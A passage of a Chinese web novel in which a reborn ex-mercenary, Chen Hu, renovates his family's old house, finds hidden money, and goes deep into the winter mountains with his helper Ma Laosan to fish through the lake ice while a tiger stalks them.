诚然,这待遇陈虎给的是好到没边了。 陈虎对此倒是毫不在意:“你觉得够了就成!我陈虎不差兄弟这点儿工钱,吃饭自然也不可能克扣,你收着便是,一家老小等着你揣着钱回去呢!” 马老三闻言,心中一阵感动,不再出声。 下午,陈虎又带着马老三将老屋子里的物件,全部都搬了出来。 看着那些个柜子、桌椅,陈虎大手一挥,十分豪爽道: “马老三,你瞅瞅你家里有没有缺的,搬上几个回去,剩下的我全部给劈了,当柴火烧!” 老屋子里面的物件当然不少,几张木床,几个柜子,桌椅也多,虽说都有些年代了,甚至于桌椅都盘得发亮包浆,但这家具还算是不赖的。 一听陈虎要全给劈了做柴火,马老三也是觉着很是可惜,赶忙抬手指向那橱柜,脸上露出不自然的笑容: “那虎哥我把这给搬走,就算明儿工钱了,咋样?” 陈虎闻言,冷冷的瞥了一眼马老三,当即冷笑道: “我是那种克扣工钱,拿垃圾抵扣的货色?要搬走就搬走,别那么多废话,工钱一个子儿都不会少你的!” 马老三见状,也是果断闭嘴,不再为工钱这事儿多言,只不过干活儿时,开始愈发卖力。 将家具清除后,陈虎又带着马老三将屋子里面的地面,统统给铲了一遍。 这个年代的住宅里面,地面多半是泥土夯实。 多踩几年,加上浸水什么的,都会导致这地面凹凸不平,再加上人每日踩过,更是十分光滑,十分不便! 将地面全铲了一遍后,陈虎又招呼着马老三将铲出来的土全给搬到了院子外。 这年头水泥对比物价虽说不算便宜,但陈虎还是有信心负担的,地面全是黄泥,这回了家还一脚一个泥印,这叫啥事儿? 就这样,二人一直忙活到接近天黑。 就在今天的翻新工作接近尾声时,马老三却是有了一个惊人发现。 那是一间窗户朝东的卧室,床底下有一处地面凸起,铲开后,马老三竟是在下边发现了一只陶罐! 第一卷 第56章 当真是苦得要命 马老三看到陶罐之后,当即就叫来了陈虎。 那陶罐裹满了黄泥,一看就埋在床底下,已经有不少时间了。 罐子顶上,用破布和一截木头塞着。 打开知道后,就看到陶罐里面还有一块麻布,也不知道在包裹着什么。 马老三将麻布掀开,惊讶发现里头竟是一叠毛票! 陈虎看着这一沓票子,不由得微微皱眉,简单清点之后,发现竟是有五十多块! 马老三倒是兴致勃勃,咧着嘴认为自己立了功! 陈虎却兴致缺缺,皱着眉头望着这一沓票子,脑海之中回想起早先原主一家还未与二叔陈厚分家时的种种。 那时候,老爷子刚走,老太太的话在这个家里面近乎是圣旨。 整日陈虎他爹的工资不仅要上交,二婶刘翠翠负责采买全家的衣食住行,到了吃饭的时候,就连鸡蛋都要老太太给分。 每个月,陈虎一家仅仅能分到四个鸡蛋,而二叔家却几乎每天都在吃,特别是二叔家那蠢儿子陈乾。 有一阵家里闹饥荒,陈虎他爹为了出工挣点生活费,去县里做苦工,寄回来的钱全部都到了老太太的手里,陈虎母子四人则饥一顿饱一顿的。 等到陈虎他爹回来之后,因为劳苦害了病,高烧了好几日不退! 那时候,杨蓉找老太太要钱看病,要知道陈虎他爹连着两月的工钱,全部都到了老太太的兜里面,结果眼看着自家儿子高烧,老太太却两手一摊,直言没钱! 思绪拉回现实,陈虎看着手里的那一沓票子,心中冷笑连连,转头望向马老三,叹了口气道: “马老三,你知道我爹吗?” 马老三闻言愣了愣,接着点头道: “陈正伦啊,我倒是和他交集不多。你知道的虎哥,你爹是木工,还去镇上、县里上采石场做工,很少在田间操持庄稼,所以见得比较少,也不算熟悉。” 陈虎眸光微沉,又是暗自叹了口气,不解出声: “老太太对他吝啬了一辈子,却一直宠溺着陈二狗,你说这个裹小脚还瞎眼的老太太,到底图啥?他陈二狗赌光了整个家,她视若无睹,我爹操持整个家生计,他却宁愿把钱藏着也不愿意拿出来给儿子治病?” 马老三见陈虎心情不佳,咽了口唾沫,思索片刻之后,有些不确定道: “虎哥,这事儿我有听说。” 陈虎皱了皱眉头,望向马老三:“说说看,我倒是好奇的紧!” 马老三的眼神有些闪躲,顿了顿,这才出声道: “我听说当年那老太太生虎哥你爹的时候,是难产。后来,你家老太太一直和村里面的婆姨说,这孩子腿脚先出来,是来讨债的,是个不孝子。” 陈虎听到这般说法,一时之间,又气又笑。 诚然,这说法简直扯淡! 胎位不正和孩子关系并不大。 但将对象换做成老太太这一辈人,陈虎却能肯定这个说法的真实性,近乎九成九。 封建迷信、陈俗陋习,因为一些蠢笨的说法做出更为愚蠢的事儿,这就是这个时代人的主旋律! 想到此处,陈虎又忍不住释然许多。 他搬来一把躺椅,悠然坐下,喃喃自语道: “可笑老太太到最后对我家吝啬一辈子,在见到陈二狗把家里房产、田地全抵押出去输了个精光之后,才惊觉吝啬我家省下的几十块钱,连我爹病重,甚至于为了给他宝贝儿子修葺羊圈被砸死,办丧事都不愿意多掏一分攒下的脏钱,最后却抵不上他宝贝儿子一晚上的赌债……” 马老三见陈虎的心情不佳,也很识趣的站在一旁,没有多吭声。 日头缓缓西沉,又是一日将尽。 往后的几日里,陈虎都带着马老三来翻新屋子。 他们将屋里和院落清空之后,又新修了院子栅栏,陈虎还找老张头新打了几扇木门。 这让得原本年久失修的老屋,一时之间,也有焕然一新的状态。 约莫忙活了五、六日后,这日,马老三一大清早照常来到陈虎家,却发现陈虎正在院里面靠墙,倒立着一动不动。 马老三满脸惊诧上前,陈虎听到动静,放下腿站起身,见来人是马老三,当即便招呼马老三进了屋。 一进屋后,马老三便惊喜出声: “虎哥,你手好全乎了吗?” 陈虎微笑着点了点头:“还行!不影响了已经,这几日的汤药,当真是苦得要命!” 杨蓉见着两人进屋,也端来热粥咸菜上桌:“今儿有芋头,都多吃些。” 这顿早饭陈虎吃得格外香甜,早饭过后,陈虎却并未带着马老三去老屋,而是开始盘点起他的那些个土枪和弓弩家伙事儿。 马老三静静的等在一旁,陈虎一边检查土枪,一边背对着马老三,出声道: “马老三,我这边给你五块钱,你拿去找王二家那寡妇,把王二先前顺走我的捕兽夹买回来,今儿准备准备,我们明天一早进山!” 马老三闻言,心中顿时一震,回想起王二与王胜父子两人的下场,他直到今日还难以释怀。 接过陈虎递来的钱后,王二没有多说,当即转身出门,直往王二家赶去。 王二家与马老三家就隔了两户人家,算是实打实的近邻。 王二家婆姨如今也成了寡妇,但没寻找到自家男人和儿子尸体,她也没办丧礼,据说整日在家,以泪洗面。 马老三敲开房门时,这婆娘磨蹭半响,这才把门打开。 门一开,马老三便见着这女人衣衫不整的站着,头发也散乱着,一副没睡醒的模样。 马老三与王二家既是邻里,也算半个亲戚。 王二这媳妇儿名叫马红艳,爷爷辈与马老三还是亲兄弟呢! 如今,两家虽然不在五服内,但他们先前的关系,倒也算不赖。 王二和王胜出事之后,马红艳也几次三番找来寻马老三帮忙,但马老三自然不会应下,毕竟,他可太清楚这两人被扔到哪个位置了。 这要是真把尸首给寻回来,那刀伤可没半分解释的余地! 马红艳见来人是马老三,眼眸微沉,冷眼看着马老三,不喜道: “有事儿?” 对于马红艳,这个死了男人和儿子的马寡妇来说,她自家男人和儿子那日上山打算做什么,她不可能一星半点儿都不知道。 所以,在马红艳的眼里,这声名鹊起的陈虎便是实打实的仇人! 如今,马老三却整日给仇家鞍前马后,马红艳要是能对马老三有笑脸,那就有鬼了! 马老三看着堵在门口的马红艳,自然也是知晓寡妇门前是非多的说法,他也不打算进门,而是很直接掏出了陈虎给他的那张五块钱的票子。 第一卷 第57章 兄弟走好,汝妻吾养! 掏出那张五块钱的票子之后,马老三想了想,又从另一个兜里面,掏出了昨儿陈虎给他结算的两块工钱,然后一并递了出去: “我之前听王二说,他找人打了一些个捕兽夹,我想全给买了,这是七块钱,你看看够不够。” 马红艳闻言,微微心惊,沉默半晌后,一双桃花眼死死盯着一脸老实的马老三。 马红艳同样清楚这捕兽夹的来历。 毕竟,当初王二前脚带着一头野猪和一堆捕兽夹半夜进门。 次日就听马老三说帮陈虎搬运野猪,不仅发现野猪丢了一头,连捕兽夹也全部都给人顺走了! 马红艳不动声色的就这么站在门口,看着马老三,就在这时,后院却是传来了一声惨叫。 马老三当即皱眉,打算绕过去瞅瞅,却见马红艳赶忙脸上堆满了慌乱的笑意,接着一把接过马老三手中的票子,不自然的笑道: “我去给你拿!你就在这儿等我!” 马老三听到马红艳这话,点了点头,也没再多言,他也清楚十个捕兽夹价格不止七块,肯定是少了些。 但捕兽夹是当初王二偷走的,物归原主还给钱,已然是陈虎能够做的最大让步了。 马老三多给两块,则全是因为心中的不安与愧疚! 很快,马红艳便拎着十个捕兽夹,交到了马老三的手中。 马老三没吭声,接过捕兽夹,然后深深的看了一眼马红艳,接着暗自叹了口气,旋即转身离开。 当晚,马老三回到家时,便听到自家媳妇说隔壁王二家的婆姨和孙家的男人睡了,被孙家的婆娘带人上门好生收拾了一顿,连脸都给刮花了! 马老三闻言,不由得叹了口气,想了想后,无奈顶着夜色,带了些大米过去看一眼。 对于王二一家的遭遇,马老三始终难以释怀。 白日里听见后院的惨叫声,他就忍不住猜想了一阵,直到回家后才知道是孙家汉子去找马红艳,二人缠绵完了,被他的敲门声吓到,直接从后院翻墙走,结果就摔断了腿! 等到马老三又一次敲响王二家的院门时,马红艳隔了许久,才将门打开。 开门时,马红艳的手里,还拎着一把菜刀! 见门外来人是马老三,马红艳这才手一软,放下了菜刀,勉强挤出了一个笑脸道:“是你啊,有事情吗?” 马老三看着依着门,衣衫不整被冻得有些发抖的马红艳,心中又是一阵叹息。 马红艳穿着一件衬衣,便出了院子开门。 三十来岁的她,模样不赖,身材丰腴。 此刻,他的脸上却多了几道鲜红的抓痕,整个人在寒风里面微微颤抖着,一双桃花眼红彤彤,看样子刚哭过。 马老三举起手里的布袋子,纠结道:“我给你送点儿米。” 马红艳诧异的看了一眼马老三,接过布袋子,脸上仍旧是那副勉强的笑意:“进来说吧!” 马老三点了点头,当即跟着马红艳进了门。 进屋坐下后,马老三看着马红艳忙活着烧水、倒水,一时之间,浑身不自在。 马红艳忙活着给马老三倒了一碗热水之后,这才坐回到炕上,然后冲着马老三,牵强笑着道:“谢谢!” 马老三没吭声,喝了口热水,接着开口道:“下次有事情知会一声,要是家里的粮食不够,就去我家拿些,开春后我给你找个活计。” 马老三心中明白,如今的马红艳没了男人和儿子,成了寡妇,在这缺衣少食、年景不好的冬天,她想要有口吃的话,那像今天这样的事情发生,其实并不奇怪。 所以,马老三生出了恻隐之心,他想帮衬一把。 毕竟……如果不是他和陈虎,虽说并不是他主谋,但马老三却固执的认为这件事情,有他的参与。 再即便王二父子俩咎由自取,还差点儿要了他的命。 可马老三仍是过不了心里的那道坎。 说罢,马老三正准备离去,却见马红艳眼疾手快,一把扯住他的手。 马老三诧异望向马红艳。 马红艳的额那双桃花眼里,一瞬间便蓄满了泪花,接着委屈出声:“马老三,我……帮帮我吧!“ 说话间,马红艳整个身子都瘫倒在马老三的背上。 马老三哪儿见过这阵仗? 换做旁人,估计可以心安理得告诉自己:兄弟走好,汝妻吾养! 但马老三断然没有那胆子,急忙就想要抽身。 可马红艳却不依不饶的直接抱住马老三,老三感受到身后那一抹柔软的温润,以及马红艳身上的一抹女人馨香,也是忍不住身子颤了颤。 这时,马红艳的双手开始游走在马老三的周身,马老三这才浑身一紧,急忙挣脱开来,忙着夺门落荒而逃! 待到马老三走后,马红艳看着敞开的房门,眼神逐渐冷淡,满是寒意,红唇一阵蠕动: “马老三、陈虎!你们等着……” 这件荒唐事让马老三这一晚上都没能睡上一个好觉。 次日,陈虎看着有些精神萎靡的马老三,也是颇为惊讶,关心许久后,确认马老三没害病,这才放下心来。 这日陈虎一大早,陈虎便与马老三一起出发进山! 不同以往,这一次,陈虎不仅带上了土枪、弓弩、短刀,还配了一瓶白酒,以及不少干粮,和一辆拖车! 这几日雪不大,所以进山的路不算难走。 即便是拖着不少装备,雪地的摩擦力也让拖车十分轻松。 二人清早进山,陈虎这一次并未像以往在山林周边游荡,而是果断的领着马老三,朝着深山中心的地段走去! 二人翻过好几座高山之后,已然过了中午。 陈虎寻觅到了一处山林中的洼地,这才暂停赶路,开始休整。 马老三进山后,一直埋着头,跟着陈虎走。 直到停下休整后,马老三才惊觉他已经进了深山,顿时有些心头慌乱,但见陈虎一脸自然神情,也稍微放松些许。 不过,马老三仍旧没有多问。 但陈虎还是照顾到了马老三的心态,当即解释道: “以往我们没有足够的装备,只能在山林周围游走,这就导致我们获得的猎物就太少了。这次进入深山里面,你放心便是,我有足够的准备,当然,马老三你得做好心理准备,这一次,我们进山,短则待上两日,多则三、四天!” 马老三本来稍微放松的心情,被陈虎这么一安慰之后,却又顿时慌乱起来。 待上三、四天? 这寒冬腊月的深山,待一晚上都要命,陈虎这是如何打算的? 竟然打算在深山里面,待上三、四天? 不过,马老三在忧心一阵之后,还是没有追问出声,仍旧选择相信陈虎。 第一卷 第58章 山君 人们常常将“刀尖舔血”抑或是“脑袋别在裤腰带上”一类的词汇、句子,用作对许多暴力机构或者组织,来加以形容。 陈虎便是这类人。 前世的雇佣兵是如此,如今的荒野猎人,依然如此。 拿命博命,再用自己的职业技能和无时无刻存在的警惕能力保命,这就是陈虎的人生指南! 所以,当陈虎和马老三在那处林间洼地稍作休整,吃上干粮没片刻的一瞬间,陈虎便察觉到了西边灌木之中所传来的微小动静。 陈虎当即放下了手中食物,而后冲着一旁的马老三,做了个噤声的手势,接着迅速拿起那杆枪,半蹲着瞄准西边林子那一丛灌木的方向。 马老三见陈虎这阵仗,也不敢多问,用力咽下一口白馍之后,也赶忙放下干粮,顺手抄起一把镰刀。 陈虎半跪在地,一手拖着枪,一手紧紧钳在扳机上,他的额头冒着一层细密汗珠,并屏住呼吸,一动不动,全神贯注的瞄准着灌木的方向。 马老三仍旧不清楚发生了什么,在他的视角里面,二人刚停下稍作休整,干粮没吃上两口,陈虎便猛地一下子戒严,好似出现了什么了不得的东西。 陈虎瞄准良久,不多时,他的耳朵微动,灌木内的细碎响声再度传出,陈虎也忍不住心头一紧! 各种动物制造出的声响,各不相同。 其中,大部分的小型食草动物,如兔子、狍子抑或是山鸡什么的,它们都会在察觉周围有大型动物时静悄悄逃窜。 并且,它们在逃窜时,也会闹出不小的动静。 而例如野猪、熊瞎子一类杂食性动物,带有攻击倾向的大型动物,他们很可能一开始便对着陈虎和马老三,发动了攻击! 至于对方一直潜伏,暗地观察二人,等到察觉自己被发现,既没有率先攻击,也没有逃跑,那就只有两种可能: 第一个可能,对面隐藏的是一个人类。 而第二个可能,对方是一头大型食肉动物,它正在打量着眼前这两个还未见过的别样美食! 陈虎果断相信眼下面对的是后者! 犹豫片刻,陈虎举枪朝着灌木方向一枪射出! 子弹激射而出,伴随着一声巨响,震彻山林。 无数钢珠在灌木的方向爆炸开来,空气之中,也飘荡起一股硝烟味道。 灌木发出一阵响动后,那道声音开始逐渐远去。 陈虎紧绷的心放松些许,却并未完全放松警惕,而是给马老三打了个原地待着的手势,接着朝前,缓缓前进,手里举着枪,小心翼翼朝着那片灌木走去。 不多时,陈虎探查清楚了威胁消失,这才招呼马老三过去。 马老三满心疑惑上前,来到灌木后,见四下空荡荡的,还满眼不解之色,可等到他注意到地上的那印记时,却是一下子就将心提到了嗓子眼! “这……虎哥,这是真山君啊?” 马老三狠狠的咽了口唾沫,目瞪口呆地望着地上的那一排脚印。 好家伙! 这一个个掌印,每一个都大小均匀,呈现梅花状,而且几乎都有一个成年人的脸这般大! 陈虎闻言,微微颔首,看着脚印延伸所消失的方向,喃喃出声道: “可惜没打中!这一带只怕都是它的领地,当然,既然碰见了,那就看看,是它虎,还是我虎?!” 陈虎这话听得马老三一阵心惊肉跳,心中满是惊骇不定。 好哥哥,你要不要听听自己说了啥? 它虎,还是你虎?! 它是不是纯种的虎不用判断,倒是你也不差啊,当真就虎! 陈虎说罢,这才注意到马老三那一副便秘的神情,当即就放下枪,拍了拍马老三的肩膀,轻笑安慰出声道: “别慌!要是能猎了它,回头别说我家老屋翻新,几个孩子上学,连带着你家马雨上学和房子翻新,都不用愁了!坐着三年不看庄稼收成都没事!” 马老三闻言,也是一阵咋舌,方才慌乱的情绪消散不少。 诚然,俗话说得好,挣钱要有命挣,有命花才作数。 当然,俗话还说了,饿死胆小的,撑死胆大的! 在确认那头隐匿在暗处的山君离去之后,陈虎并没有追寻其踪迹,直接猎捕的想法。 陈虎方才的话,自然多半是安慰马老三用的,要知道一头成年东北虎的体重,最高甚至于能在七百斤左右! 单是其爪力,便超过了五百斤! 其尖锐的獠牙比起先前陈虎碰到的野猪、熊瞎子,简直就不是一个梯度战力。 并且,老虎作为自然界最为顶端的掠食者,其惊人的爆发力能够助力起跳高达八米,相当于两层楼的高度! 也许生活在文明世界的人类,对这位自然界的王者有什么能耐并不清楚,甚至于能够臆想出一个手拿哨棍,就能打死老虎的勇士。 但实际的情况是,一个世界顶峰的长短跑运动员,都不可能在速度上面,与之一较高下。 一个打破世界的跳高冠军,拿着撑杆,也不可能拥有老虎的跳高能力! 没有热武器或是足够距离下的人类,在一头成年老虎的面前,和人类面对兔子,其实并没有太大的区别。 陈虎并未选择继续休整,而是直接带着马老三,开始赶路。 二人又翻过了一座山头,这次他们首先寻到了一处崖壁下溶洞,将拖车、干粮等大型物件放置下后,这才开始游走在附近的山林之中,寻觅猎物踪迹。 二人走过一边桦树林,松软的积雪下是一堆接着一堆的枯叶。 当人踩在上面时,你除了能听见积雪挤压的“扑哧”声,还能听到树叶摩擦的“哗哗”声。 陈虎看着眼前的桦树林,有些无奈叹了口气: “最好还是去山坳处,这次带着拖车来,我的目标还是野猪,只不过走过这般多的山头,却见不到野猪的踪影,也甚是奇怪!” 马老三喘着粗气,望向四周,有些茫然的出声道: “虎哥,我已经记不得回去的路了!” 陈虎闻言,笑了笑摆手道:“放心!就是没了这对招子,光靠你形容周围的环境和日头指路,我也能带你出去。” 两人简单交谈之后,再度开始寻觅猎物踪迹。 不多时,二人翻过了一座山头,这处山头后部山腰处,竟是有着一个无比巨大湖泊! 这让得陈虎惊喜异常! 二人很快来到湖边,湖面眼下已然冻结。 厚实的冰面上,甚至于还堆着一层薄薄的积雪。 马老三也是诧异万分,望着这处湖泊,发出了惊叹! 第一卷 第59章 真正的勇气并不是一杆枪就能够带来的! “可没人说过山里面还有这么一处湖水!” 四周皆是冻结的荒芜,结满厚实冰层的湖面之上,不时的有几只飞鸟掠过。 整个湖面,平整而洁白无瑕。 由高往低处看去,犹如一块无瑕的白玉,十分壮观! 陈虎从岸边搬来了一块石头,直接便狠狠的砸在了冰面上,当即便打破了湖面的平静。 只听得“咚”的一声闷响,接着,那块石头竟是在冰面上滑行,直接划到了湖中心的位置! 陈虎见状,忍不住微微皱眉道:“好生结实的冰层!” 马老三也跟着搬来了一块石头砸下,结果大同小异。 陈虎简单思考一阵后,带着马老三去寻了两块较为尖锐的石头,又找来了藤条、木棍。 有了这些物件,马老三还满脸疑惑的不知道陈虎打算做什么。 陈虎则取出短刀,干净利落的将木棍一端横竖劈开一道十字,接着将尖锐的石块,夹在木棍的十字中间,而后再用藤条紧紧捆住! 到最后,一个简易的冰锥,便大功告成! 有了这冰锥,陈虎接着又带着马老三去弄来了更多的藤条,接着在马老三十分惊讶的目光中,陈虎利用藤条和一些细小树枝,不多时便编制出了一个个捕鱼笼。 捕鱼笼的原理是一个锥形入口,进口是倒过来的锥形,这就会让进口大,出口窄小,顺利让进入里头的鱼儿难以脱身。 准备完这些之后,陈虎与马老三便各自去到湖中心的位置,一人一个地方利用自制的冰锥开凿! 冰面厚度多达二十厘米,所以,凿冰也是个累人的力气活。 将冰面凿开之后,还需要不断扩大那道口子,直到能够塞下一个捕鱼笼的大小。 就这样,二人忙活了好几个钟头,才终于凿开了五个孔,顺利的放下了五只捕鱼笼。 此刻,天色渐晚,陈虎又寻来一些个枝条挡在冰洞的位置,防止冰洞冻结后,难以凿开。 就在两人忙完这一切,已然疲惫不堪时,却见那冰洞中一阵水花翻滚,下一刻,一条鱼儿自冰洞之中纵身跃出,就这么明晃晃的砸在了冰面上! 二人相互对视一眼,紧跟着,马老三眼疾手快,一把扑上去,直接就逮住了那条鱼儿。 还不等二人惊喜,却见又是一条鱼儿自冰面下,一跃而上! 陈虎一把扣住鱼嘴,将其拎起,然后大笑道:“好事成双!” 这两条鱼给二人带来了意外之喜。 待到黄昏日落,雪景伴着残阳露面时,两人便在那处放置物资的溶洞里面,架起了柴火,两条鱼也顺理成章的串在了火上炙烤。 陈虎从一个布袋子里面,取出干粮和熏肉,就着这两条约莫两、三斤重的烤鱼,以及一壶烧酒,与马老三吃得十分痛快。 二人吃饱喝足,马老三望着已然已尽然黑下的天色,喃喃自语道: “不知道我家那婆娘这会儿睡得着不?” 陈虎则将酒壶递给马老三,拍了拍马老三的肩膀,宽慰道: “放心吧!回去给他们些惊喜,来口烧酒,暖暖身子。” 马老三仰头喝了一口,接着脸上表情狰狞,将酒水咽下之后,长舒了一口气,发出一声低吼: “好烈的酒!” 陈虎抓起一块熏肉,大口吃着,边吃边说道:“省着点儿喝,最好留着入睡再喝。没有这玩意儿驱寒,等到了后半夜气温骤降,很难熬的。” 陈虎这话只说了一半,实际上,后半夜要是保暖措施有缺漏,在如此高海拔的山里,很容易就会因为患上低温症,而直接丧命。 当然,马老三也不是傻子,作为实打实在这片土地上长大的汉子,他十分清楚后半夜低温的恐怖,忍不住暗自叹了口气。 犹豫片刻,马老三看着山洞出口处,忍不住忧心道: “虎哥,咱俩要是出不去该咋整?你家里还有一个娘拉扯着弟弟妹妹,我家里也只有一个老婆拉扯着儿子。” 陈虎闻言,笑了笑道:“我不会忧心这事儿,因为我知道自己肯定能够出去,也会带着你一起出去。” 马老三闻言,深深看了陈虎一眼,眸光之中,闪过了一抹暗淡: “虎哥,我要像你一样就好了。” 听了马老三的感慨,陈虎顿时就来了兴致,有些不解的问道: “哪方面像我?” 马老三犹豫一会儿,苦笑道: “勇气吧!其它的我不敢奢求,但勇气不一样,可换做我自己,我不敢进山,更不敢像是先前,知道有老虎还能有持枪与其对峙的勇气。” 说完,马老三深深看了一眼陈虎放在一旁的那杆枪。 陈虎注意到马老三的目光,将那杆枪拿起,递给了马老三。 马老三接过枪,有些茫然,却听陈虎微笑出声道: “马老三,真正的勇气并不是一杆枪就能够带来的!” “很多时候,我们并不能靠暴力解决一切,子弹在律法与社会关系中不管用,子弹也不一定能够换一口给妻儿老小的吃食。” 说话间,陈虎眼神坚定的望向马老三,正色道: “你知道什么是真正的勇气吗?” 马老三闻言,愣了愣摇头道:“虎哥你说,我听着!” 陈虎叹了口气,眼中带了一抹迷离,那张略显稚嫩青涩的面孔上,有种淡泊世俗的沧桑道: “真正的勇气是在明知不可为时,仍然勇敢向前面对!” “而不是一把枪,加上一发子弹所能够带来的。” “有时候,有的事儿你一开始便知道注定要输,但你却仍旧能够一往无前,不管发生什么事情,都能够坚持到最后。” “毕竟,也许作为普通人,活在这世俗之中,我们总是要面对失败,但也不会有人一直输,不是吗?” 静静聆听完陈虎的发言之后,马老三当即就陷入了良久的沉默。 这一晚,二人靠着篝火和山洞,轮番守夜度过。 毫无疑问,这是时间漫长的一夜。 次日清晨,一早吃过干粮之后,陈虎与马老三便去往了湖边查看捕鱼笼。 陈虎最先打捞起一只笼子,当察觉捕鱼笼十分沉重的刹那,陈虎就直接露出了兴奋的笑容。 事实证明,陈虎的主意十分不赖。 即便是捕鱼笼里面没有足够诱饵,仅有几块干饼,却仍旧没有一只笼子是空的! 将每只捕鱼笼打开之后,里面皆是超过五斤重的大鱼,其中渔获以鲑鱼为主,十分肥硕! 将所有的笼子都捞出来之后,陈虎和马老三不由得瘫坐在冰面上,放声大笑! 第一卷 第60章 这头山君是盯上我们俩了! 两人大笑完后,马老三大喜出声: “虎哥!一只笼子起码有十条鱼,一条五斤重,这五个笼子起码有两百斤鱼!” 陈虎此时也是重重的呼出一口气: “把鱼都带上,去后边的桦树林里面,破开肚子,刨除内脏,这样不容易变质,腥味也不会把食肉动物引到湖边来。” 马老三当即应声,二人开始动手。 不多时,两人将捕鱼笼再度放下后,用几根藤条串着一条条肥硕的大鱼,扛着回到了山洞。 当然,捉鱼可不是二人此行的目的。 不满足于渔获的二人,正午吃过干粮之后,再度绕着湖泊周围,寻找猎物的踪迹。 陈虎十分断定的说道:“水源附近必然有诸多动物栖息!” 可兴许是冬季水源冻结的缘由,湖泊的周围并没有其余猎物的踪影。 找寻无果的陈虎,自然不会就此罢休,经过简单的思考之后,他再度带着马老三沿着周围群山的山坳寻找。 不过,二人找寻了一下午,也并没什么意外的发现。 到了午后,陈虎这才无奈打算折返回山洞休整,可原道返回途中,陈虎却有了意外的发现! 那是接近山洞一处林地,周围白皑皑的一片,满是积雪。 而雪地上面,则有着一排梅花状的硕大的脚印。 陈虎看着地上的脚印,眉头紧紧皱起,马老三则狠狠咽了口唾沫,喃喃出声道:“坏了!虎哥,这下可咋整?” 地上那一排脚印,赫然与早先发现的老虎的脚印,如出一辙! 陈虎深吸了一口气,看着脚印的深浅,心中忧虑道: “这脚印是早上留下的,看方向,这头山君应该是盯上我们俩了!” 脚印朝着陈虎和马老三进山的方向跟去,这让得二人不由得都微微心惊。 他们进山打猎,却反被猎物顺着痕迹追踪。 并且,在他们今日四下游走寻觅猎物踪迹的时候,被他们想要打猎的猎物,对方甚至于还是一头顶级的掠食者追捕者。 猎人与猎物的身份,好似在这一瞬间反转! 陈虎也满脸震惊,忧心出声道: “这畜生只怕跟了咱俩一天了!地上没血迹,这说明昨儿的那一枪,没让这头山君受伤。但这畜生没怎么见过人,再加上那一枪的动静太大,所以它一直躲在暗处,等着给我俩致命一击!” 马老三一听陈虎这话,顿觉一股寒气冲上了天灵盖! 被一只老虎在山林之中盯上,无异于脑袋上面悬了一柄利刃,随时都有可能落下。 当即,陈虎将枪取出,子弹上膛,并且让马老三手持弓弩,跟在他的身后,二人警惕着往回走去。 接近黄昏时,二人回到了那处山洞。 在山洞外,陈虎再一次寻到了老虎踩踏的痕迹! 进入山洞之后,两人也一阵傻眼。 之前存放的大概五十条鱼儿,都用藤蔓串联,可眼下少了两串,其余的鱼也散落在地,山洞内也是一片乱糟糟的模样。 嘶…… 陈虎忍不住倒吸了一口凉气! 这老虎竟然还进了洞内,偷走了鱼? 陈虎咬牙检查剩下的鱼,发现有两条鱼还被啃食了一半,让得陈虎更是气急! “该死的畜生!当真好胆!” “我不去寻它麻烦,它倒是欺负上门来了!” 马老三一言不发地默默将散落在地的鱼儿收拾着,陈虎则沉着脸,过了好半晌都难遏怒意道: “老三,把捕兽夹拿上,它既然想窥视,想躲在暗处,那就给它留点儿惊喜!” 马老三闻言,急忙点头,拎着捕兽夹跟着陈虎往外走。 到了洞外,陈虎与马老三将捕兽夹围绕洞口摆满一圈,安置完后,再用积雪覆盖,并且做好了标记。 此刻,天色渐暗,陈虎望着灰蒙蒙的白雪山林,并未选择折返回到洞里,而是领着马老三一人持枪,一人持弓弩,直接便沿着那头老虎留下的足迹,跟了上去。 足迹从山洞外一直朝着山顶蔓延,追到山上后,天已经全然黑了下来。 陈虎沉默片刻,在不确认那头老虎眼下位置的情况下,带着马老三又折回山洞,却并没有着急进去,反倒寻了一处斜坡后潜伏着,观察山洞周围的情况。 陈虎的心头,隐隐有着一股预感。 那头大猫既然跟了他们二人一整日,还清楚他们二人暂时居住的山洞的位置。 今晚即便是不冲进洞内,也会在周围打转,探查情况的! 就这样,马老三跟着陈虎一直守了将近两个小时,却一直不见那头山君的踪影。 无奈之下,二人只能折返洞内,点燃柴火避寒,取出干粮果腹。 这一晚,直到深夜,两人也难有困意。 毕竟,外面随时有头山君打算杀进来,确实在无形之中,给了两人不少的压力。 再加上后半夜气温骤降,睡着比醒着会消耗更多的热量,所以两人索性没睡,都守在火堆前,一边闲聊,一边凑柴。 在提及那头隐藏在暗中的山君时,陈虎总是以一种恨的牙痒痒,给人的感觉就好像他是有胆见到那庞然大物,并且敢冲上去拼命的架势。 陈虎动不动便是咬牙切齿道: “等明儿把那大虫扒皮抽筋,老子必然要好好吃上一顿馋肉,看看有没有平日里传得那么滋补!” 马老三对此倒是没有附和,一直显得忧心忡忡: “虎哥,你是天狼星转世,那山君会不会认识你,不敢动咱?” 听着马老三这般逆天的言论,也让得陈虎的心情,缓和了不少,大笑着点头: “得!我叫陈虎,它是东北虎,我和它就沾亲带故了?” 说罢,陈虎拿起酒壶,狠狠的灌了一口酒水,顿时感受着一股火热从喉咙烧到胃里,浑身都暖乎乎的。 陈虎当即把酒壶,递给马老三,马老三悻悻的接过,也喝了一口。 一口酒下肚,马老三长舒了一口气,接着笑道: “虎哥,你要是把那山君打死了,到时候,话本小说岂不是要说你?那些个街头茶馆里面说书的,不天天说什么打虎英雄武松来着?” 陈虎闻言,顿时无奈的摇头,笑了笑道: “人家武松手里仅有一根哨棍,哪怕棍子断了,他也能徒手打死老虎。而我若是没了这杆枪,这些弩箭,还徒手打虎?哪可能啊?说我是当代武松?我可不敢认!当然,我觉得我也不是没有胜算打死那头老虎的。” 说到最后,陈虎特别卖了个关子,故作深沉。 马老三听了陈虎的话,却是眼前一亮,急问道:“怎么说?” 只见,陈虎眉头一挑,正色出声道:“要是子弹打光、弩箭射完,老虎也没死的话,那咱们等它扑过来,直接就一个滑铲,接着就瞅瞅咱们俩加起来三百斤左右,能不能把它给撑死?!” 第一卷 第61章 勇闯虎穴 马老三听了陈虎的话,直接就愣住了。 在看到陈虎说完后,其脸上所露出的笑容之后,马老三也知道陈虎是在说笑,也就并未当真。 二人随后就这样有一句没一句的聊着,慢慢熬过这一夜。 由于知道有一头要命的老虎,正躲在暗处盯着他们,所以后半夜,陈虎和马老三也只能够轮番守夜休息。 冬夜的山中,温度长时间维持在零下三、四十摄氏度。 虽说有洞穴挡风,火堆提供热量,但仍旧不能久睡。 失温的风险也让得二人不敢直接入睡,也更让二人难以入睡。 常常是睡上不到两小时,便会被冻醒! 眼瞅着干柴一根根的往火堆里凑,一直等到天明,二人才精神萎靡的走出了洞穴。 